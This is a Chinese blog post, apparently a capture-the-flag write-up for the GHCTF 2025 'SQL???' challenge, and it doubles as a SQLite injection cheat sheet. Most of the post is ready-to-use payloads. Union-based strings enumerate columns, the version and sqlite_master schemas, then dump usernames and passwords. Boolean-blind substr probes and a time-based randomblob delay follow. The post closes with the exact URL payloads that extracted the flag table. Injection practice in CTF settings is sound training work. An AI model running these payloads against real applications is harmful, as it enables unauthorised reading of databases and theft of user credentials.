sqlite

sqlite注入

做到一道题目
[GHCTF 2025]SQL???
才知道有sqlite,记录一下sqlite怎么注入

什么是sqlite

SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。
就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#查询字段数
-1' union select 1,2,3;
1' order by 3;
#查版本
0' union select 1,2,sqlite_version();
#查询表名和列名 通过查询 sqlite_master 表来实现:
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
#当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合:
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;
0' union select 1,2,tbl_name FROM sqlite_master limit 2 offset 1 --
#查询数据
-1' union select 1,2,(select group_concat(username,password) from table_name),4;

布尔盲注
#根据查询正确或错误时的页面回显来判断数据内容:
-1' or length(sqlite_version())=5/*
-1' or length(sqlite_version())=6/*

-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/*
......

时间盲注
#QLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
并且 SQLite 没有 if,所以我们需要使用 case...when 来构造查询语句:
-1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/*

by

https://blog.csdn.net/2201_75824562/article/details/139362754

所以原题的payload

1
2
3
4
5
6
7
8
?id=1 union select 1,2,3,4,5 //测试回显

?id=1 union select 1,2,3,4,(select group_concat(sql) from sqlite_master) //这样就可以直接查询表名和字段名
回显:
CREATE TABLE "flag" ( "flag" TEXT ),CREATE TABLE "users" ( "id" INTEGER, "username" TEXT, "email" TEXT, "phone" TEXT, "address" TEXT )

?id=1 union select 1,2,3,4,(select group_concat(flag) from flag)
//拿到flag

没做过滤,数字型注入,可能是想让人认识sqlite的题目吧🤗


sqlite
https://aidemofashi.github.io/2025/03/18/sqlite/
作者
aidemofashi
发布于
2025年3月18日
许可协议